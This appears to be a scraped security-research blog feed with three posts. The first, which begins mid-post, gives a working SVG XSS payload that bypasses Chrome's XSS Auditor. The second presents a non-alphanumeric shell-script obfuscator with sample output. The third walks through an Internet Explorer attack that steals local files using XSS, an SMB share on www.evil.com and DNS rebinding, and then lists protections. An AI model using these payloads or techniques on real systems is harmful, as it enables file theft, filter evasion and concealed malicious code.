<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: #6aa84f;">http://vulnerabledomain.com/xss.php?</span>
<span style="color: #6aa84f;">x=<svg id="rectangle" </span>
<span style="color: #6aa84f;">xmlns="http://www.w3.org/2000/svg"</span>
<span style="color: #6aa84f;">xmlns:xlink="http://www.w3.org/1999/xlink"</span>
<span style="color: #6aa84f;">width="100" height="100"></span>
<span style="color: #6aa84f;"><a xlink:href="javascript:alert(location)"></span>
<span style="color: #6aa84f;"><rect class="blue" x="0" y="0" width="100" height="100" /></span>
<span style="color: #6aa84f;"></a></span>
<span style="color: #6aa84f;"></svg></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;"><span style="color: black;"><span style="font-family: Times New Roman, serif;">If you paste this <i>URL</i> (with the correct ip;) into a browser, with no XSS filter, it will display the black rectangle again. But I already mentioned, that</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">XSS Chrome Auditor will catch this attack. Let us continue.</span></span>
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Now we are going to use the created SVG file (green URL) in the <span style="font-family: DejaVu Sans Mono, monospace;"><use></span><span style="font-family: DejaVu Sans Mono, monospace;"> </span>element. The now crafted <i>URL</i> will look like this:</span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: red;">http://vulnerabledomain.com/xss.php?</span>
<span style="color: black;"><span style="color: red;">x=<svg><use height=200 width=200</span></span>
<span style="color: black;"><span style="color: red;">xlink:href=</span>'<a href="http://vulnerabledomain.com/xss.php"><span style="color: #6aa84f;">http://vulnerabledomain.com/xss.php</span></a></span>
<span style="color: black;"><span style="color: #6aa84f;">?x=<svg id="rectangle"</span></span>
<span style="color: #6aa84f;">xmlns="http://www.w3.org/2000/svg"</span>
<span style="color: #6aa84f;">xmlns:xlink="http://www.w3.org/1999/xlink"</span>
<span style="color: black;"><span style="color: #6aa84f;">width="100" height="100"></span></span>
<span style="color: #6aa84f;"><a xlink:href="javascript:alert(location)"></span>
<span style="color: black;"><span style="color: #6aa84f;"><rect class="blue" x="0" y="0" width="100" height="100"/></span></span>
<span style="color: black;"><span style="color: #6aa84f;"></a></svg></span><span style="color: red;">#rectangle</span>'<span style="color: red;">/></svg></span></span></span></pre>
</td> </tr>
</tbody></table>
<pre><span style="font-size: large;">
<span style="color: black;"><span style="font-family: Times New Roman, serif;">Do not forget to url encode:</span></span></span></pre>
<table cellpadding="4" cellspacing="0" style="width: 100%px;"> <colgroup><col width="256*"></col> </colgroup><tbody>
<tr> <td style="border: 1px solid #000000; padding: 0.1cm;" valign="TOP" width="100%"><pre><span style="font-family: Courier New, Courier, monospace;"><span style="color: black;">http://</span><span style="color: black;">vulnerabledomain.com</span><span style="color: black;">/xss.php?</span>
<span style="color: black;">x=%3Csvg%3E%3Cuse%20height=200%20width=200%20</span>
<span style="color: black;">xlink:href=%27http://vulnerabledomain.com/xss.php?</span>
<span style="color: black;">x=%3Csvg%20id%3D%22rectangle%22%20</span>
<span style="color: black;">xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20</span>
<span style="color: black;">xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20</span>
<span style="color: black;">%20%20%20width%3D%22100%22%20height%3D%22100%22%3E</span>
<span style="color: black;">%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E</span>
<span style="color: black;">%3Crect%20class%3D%22blue%22%20x%3D%220%22%20</span>
<span style="color: black;">y%3D%220%22%20width%3D%22100%22</span>
<span style="color: black;">%20height%3D%22100%22%20%2F%3E</span>
<span style="color: black;">%3C%2Fa%3E</span>
<span style="color: black;">%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E</span></span></pre>
</td> </tr>
</tbody></table>
<br />
<div>
<span style="font-size: large;">This will display the rectangle again, which will alert when clicked, but this time without triggering the XSS Auditor :)</span><br />
<span style="font-size: large;">Hope you enjoyed my bypass.</span></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-31305824407361229442013-11-12T02:04:00.001-08:002020-01-29T11:57:04.000-08:00Non Alpha Numeric Shellscript<h2>
<br />Making your shell script non alpha numeric</h2>
<div>
<br /></div>
<div>
Ever had the need to obfuscate your complete shellscript by using non alpha numeric code? Now there is a tool for that ;) </div>
<div>
<br /></div>
<div>
I already wrote some time ago about how to start writing non alpha numeric shellscript, but this would not support shell internals like if statements etc. But some days ago I found out that there exists an eval in bash, which makes it possible to support shell internals.</div>
<div>
<br /></div>
<div>
The basic steps my script does are the following:</div>
<div>
1. Get via Regex enough characters to build echo -e \0</div>
<div>
2. Increase a counter</div>
<div>
3. Concat the counter with echo -e \0 to create needed characters</div>
<div>
4. Step 3 is repeated to get every character. </div>
<div>
5. create eval</div>
<div>
6. concat all characters and pass them to eval</div>
<div>
<br /></div>
<div>
Take this shellscript as an example:</div>
<div>
____________________________________________________________________</div>
<div>
<br /></div>
<div>
<div>
<i>echo "Enter the password: ";</i></div>
<div>
<i>read test;</i></div>
<div>
<i>if [ $test == "correct" ]; then echo "You cracked it;)"; else echo "HAHA, wrong!"; fi</i></div>
</div>
<div>
<br /></div>
<div>
After processing it, it will look like this (abbreviated)</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<i>/????\+?????</i></div>
<div>
<i>__=$_</i></div>
<div>
<i>. .</i></div>
<div>
<i>___=$?</i></div>
<div>
<i>____=___</i></div>
<div>
<i>____=$[++____]</i></div>
<div>
<i>____=$[++____]</i></div>
<div>
<i>____=$[++____]</i></div>
<div>
<i>_____=${__:____:___}</i></div>
<div>
<i>_______=${__:___+___:___}</i></div>
<div>
<i>__=/?${_____}?</i></div>
<div>
<i>$__</i></div>
<div>
<i>__=$_</i></div>
<div>
<i>______=${__:___:___}</i></div>
<div>
<i>________=${__:___+___+___:___}</i></div>
<div>
<i>__=/?${_______}?${______}</i></div>
<div>
<i>$__</i></div>
<div>
<i>__=$_</i></div>
<div>
<i>_________=${__:___:___}</i></div>
<div>
<i>__________=${______}${________}${_________}${_______}" -"${______}" "\\$[___-___] ___=$[++___]</i></div>
<div>
<i>[..]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___________=${__________}$___;___________=$($___________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>____________=${__________}$___;____________=$($____________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_____________=${__________}$___;_____________=$($_____________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>______________=${__________}$___;______________=$($______________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>[..]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_______________=${__________}$___;_______________=$($_______________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>________________=${__________}$___;________________=$($________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>[..]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_________________=${__________}$___;_________________=$($_________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>__________________=${__________}$___;__________________=$($__________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___________________=${__________}$___;___________________=$($___________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>[..]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>____________________=${__________}$___;____________________=$($____________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_____________________=${__________}$___;_____________________=$($_____________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>______________________=${__________}$___;______________________=$($______________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>[..]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_______________________=${__________}$___;_______________________=$($_______________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>________________________=${__________}$___;________________________=$($________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_________________________=${__________}$___;_________________________=$($_________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>__________________________=${__________}$___;__________________________=$($__________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___________________________=${__________}$___;___________________________=$($___________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>____________________________=${__________}$___;____________________________=$($____________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_____________________________=${__________}$___;_____________________________=$($_____________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>______________________________=${__________}$___;______________________________=$($______________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_______________________________=${__________}$___;_______________________________=$($_______________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>________________________________=${__________}$___;________________________________=$($________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_________________________________=${__________}$___;_________________________________=$($_________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>__________________________________=${__________}$___;__________________________________=$($__________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___________________________________=${__________}$___;___________________________________=$($___________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>____________________________________=${__________}$___;____________________________________=$($____________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_____________________________________=${__________}$___;_____________________________________=$($_____________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>______________________________________=${__________}$___;______________________________________=$($______________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_______________________________________=${__________}$___;_______________________________________=$($_______________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>________________________________________=${__________}$___;________________________________________=$($________________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_________________________________________=${__________}$___;_________________________________________=$($_________________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>__________________________________________=${__________}$___;__________________________________________=$($__________________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>___________________________________________=${__________}$___;___________________________________________=$($___________________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>____________________________________________=${__________}$___;____________________________________________=$($____________________________________________)</i></div>
<div>
<i>___=$[++___]</i></div>
<div>
<i>_____________________________________________=${__________}$___;_____________________________________________=$($_____________________________________________)</i></div>
<div>
<i>$______________________________$____________________________________________$___________________________$____________________________________ $($__________ $______________________________$____________________________$_________________________________$______________________________________$___________$_____________$_____________________$_____________________________________$__________________________________________$______________________________$________________________________________$___________$__________________________________________$_________________________________$______________________________$___________$_______________________________________$___________________________$_________________________________________$_________________________________________$_____________________________________________$______________________________________$________________________________________$_____________________________$_________________$___________$_____________$__________________$_________________________$_____________________________________$________________________________________$______________________________$___________________________$_____________________________$___________$__________________________________________$______________________________$_________________________________________$__________________________________________$__________________$_________________________$_____________________________________$__________________________________$_______________________________$___________$________________________$___________$______________$__________________________________________$______________________________$_________________________________________$__________________________________________$___________$___________________$___________________$___________$_____________$____________________________$______________________________________$________________________________________$________________________________________$______________________________$____________________________$__________________________________________$_____________$___________$__________________________$__________________$___________$__________________________________________$_________________________________$______________________________$_____________________________________$___________$______________________________$____________________________$_________________________________$______________________________________$___________$_____________$_______________________$______________________________________$___________________________________________$___________$____________________________$________________________________________$___________________________$____________________________$___________________________________$______________________________$_____________________________$___________$__________________________________$__________________________________________$__________________$_______________$_____________$__________________$___________$______________________________$____________________________________$_________________________________________$______________________________$___________$______________________________$____________________________$_________________________________$______________________________________$___________$_____________$______________________$____________________$______________________$____________________$________________$___________$_____________________________________________$________________________________________$______________________________________$_____________________________________$________________________________$____________$_____________$__________________$___________$_______________________________$__________________________________$_________________________$_____________________________________)</i></div>
</div>
<div>
<i><br /></i></div>
<div>
<i><br /></i></div>
<div>
<i><br /></i></div>
<div>
The usage is very simple:</div>
<div>
python obfuscate.py <pathtoshellscript></div>
<div>
<br /></div>
<div>
It will create a new file called nonalpha.sh</div>
<div>
If you want to play around with it, get it here:<br />
<br />
<a href="https://drive.google.com/open?id=1TTbgZ5zy5ykg-VxUmPl_HiBaj2tpaEN5">https://drive.google.com/open?id=1TTbgZ5zy5ykg-VxUmPl_HiBaj2tpaEN5</a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-28559892881983724312013-09-27T12:02:00.000-07:002013-09-27T12:02:58.224-07:00IE Intranet Zone - stealing local files<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
The idea to create this attack came to my mind, when I figured out that the Intranet Zone is allowed to iframe local files via UNC Syntax:<br />
<br />
<i>\\127.0.0.1\C$\localfile</i><br />
<br />
If we know the location of a file, it could be possible to read it.<br />
<i><br />
</i> So lets start:<i><br />
</i><br />
<br />
<b>Getting into the Intranet Zone</b><br />
<b><br />
</b> <br />
!To be clear, the Intranet Zone only exists if your workstation is in a domain. That's why this attack only works in a corporate network.<br />
<br />
The idea for this was taken from here <a href="https://superevr.com/blog/2012/top-level-universal-xss/">click</a>. Basically you can misuse websites, hosted on Top Level Domains, to achieve the effect of an Intranet Zone. There are websites on <a href="http://io/">io</a> or <a href="http://uz/">uz</a>.<br />
Misuse means we need to find a XSS hole in the site (which is not the problem ;). A second option is to buy a TLD, which costs 185 000$, so I sticked to XSS.<br />
Additionally you have to remember, that Internet Explorer has a built in reflected XSS filter. Because I did not want to stop creating this attack because of a XSS filter, I tried to bypass it. I succeeded, but I am not going to publish the bypass until its fixed.<br />
So by combining a XSS vulnerability and a website hosted on a TLD, I achieved intranet privileges. The next step introduces SMB.<br />
<br />
!Important side notes:<br />
Websites on a TLD will be forbidden:<br />
<pre wrap=""><a class="moz-txt-link-freetext" href="http://www.icann.org/en/news/announcements/announcement-30aug13-en.htm">http://www.icann.org/en/news/announcements/announcement-30aug13-en.htm</a></pre>
<br />
<br />
A website on a TLD is only resolvable in a corporate network, if the windows server is not the one resolving it. Windows DNS Server does not resolve A entries for TLD, the reason for this behavior is described <a href="http://technet.microsoft.com/en-us/library/cc731744.aspx">here</a>.<br />
<br />
Additionally, do not iframe the intranet zone. If the victim visits your site like www.example.com, you must not load e.g. http://io in an iframe, use a popunder instead. If you iframe it, the attack will fail, because www.example.com (internet zone) has protected mode by default enabled and by iframing you apply protected mode to the intranet (even if it has protected mode disabled).<br />
<br />
<br />
<b>Next step: SMB</b><br />
<b><br /></b>
After getting script execution inside the intranet zone, all I have to do is load a html file from a smb share. <b><br /></b><br />
The syntax to load a smb share is the following: \\<server>\<share>\<path><br />
So lets do this:<br />
<iframe src=\\www.evil.com\C$\index.html></iframe><br />
<br />
This loads a file on a smb share, controlled by me. To be able to do this, the client needs to be allowed to create connections to port 445 in the internet.<br />
The share needs to be named C$, because Internet Explorer uses the server name+share as the host to enforce the same origin policy. We will see later on why this is important.<br />
<br />
<b>DNS Rebinding is such a nice thing</b><br />
<br />
The index.html is loaded and ready to attack. All it wants to do is loading an iframe:<br />
<iframe src=\\www.evil.com\C$\Users\hans\Desktop\steal.txt></iframe><br />
<br />
But this time I do not want www.evil.com to point to a server in the internet, I want access to the local machine. To achieve this I am using DNS Rebinding. Normally DNS Rebinding is used to attack servers/routers in the LAN, by mapping the same domain name to a local ip address. I use it a little bit different:<br />
<br />
After the index.html gets loaded, the firewall @www.evil.com blocks all TCP connections. Additionally the record for www.evil.com is changed from A 1.2.3.4 to <a href="https://en.wikipedia.org/wiki/CNAME_record">CNAME</a> localhost record.<br />
If index.html now loads the iframe, which points to www.evil.com, the browser reuses the saved IP, and tries to connect to 1.2.3.4. Because all TCP connections are blocked, the browser drops the saved IP and initiate a new DNS request for www.evil.com. This behavior is called Anti-DNS Pinning.<br />
The DNS server now response with the CNAME entry to localhost.<br />
Now www.evil.com got rebinded to localhost, which is why the iframe now connects to the locale smb share C$ to load the path Users\hans\Desktop\steal.txt<br />
<br />
To finish index.html can access the innerHTML of the loaded iframe, because the SOP is fulfilled.<br />
The hostname is the same (www.evil.com) and the share name too (C$). Now it should be clear, why you must use C$ as the share name. After getting the innerHTML (the content of the file) it is really easy to send it via javascript to the attacker.<br />
<br />
If you are familiar with DNS Rebinding you maybe wondering why I use a CNAME record instead of returning 127.0.0.1 for www.evil.com. The reason is, that it only works with the CNAME entry ;) <br />
I think IE uses the hostname+username to connect to smb shares and [email protected] is not a valid user, but hans@localhost is.<br />
One could ask me how I know the username in the path. I do not have to guess it, it gets transmitted in the SMB connection while loading the index.html file.<br />
<br />
<b>Protection & Improvements</b><br />
<b><br /></b>To protect yourself you can either forbid port 445 to the internet (which you really should!!), or use the windows server as your main DNS server.<br />
But the easiest way to protect you, is to enable protected mode for the intranet zone.<br />
If you do not block port 445, I should mention the information posted <a href="http://jedicorp.com/security/exploit-dev/stealing-netntlm-credentials-by-injecting-unc-path-into-docx/">here</a>. The same thing happens during this attack, while loading the index.html from www.evil.com.<br />
<br />
The improvements: I tried to implement this attack by using WebDav(Port 80). It uses the exact same syntax as SMB shares, so the SOP would make no problem. But if the index.html gets loaded via WebDav, the access to local files fails. It could be that IE is "smart" and uses the same port again, which means it tries to connect to localhost\C$ via WebDav too. I am still working on this issue.<br />
<br />
Heres a Poc Video. You see that load.com loads a intranet side (the popunder does not work for me :( ), which alerts the content of the local file. It takes so long, because the is far frome being optimized.<br />
<br />
<br />
<a href="https://vimeo.com/75557982">See the PoC here</a>
<br />
<br />
Thats it for you, the next attack will follow soon :)<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]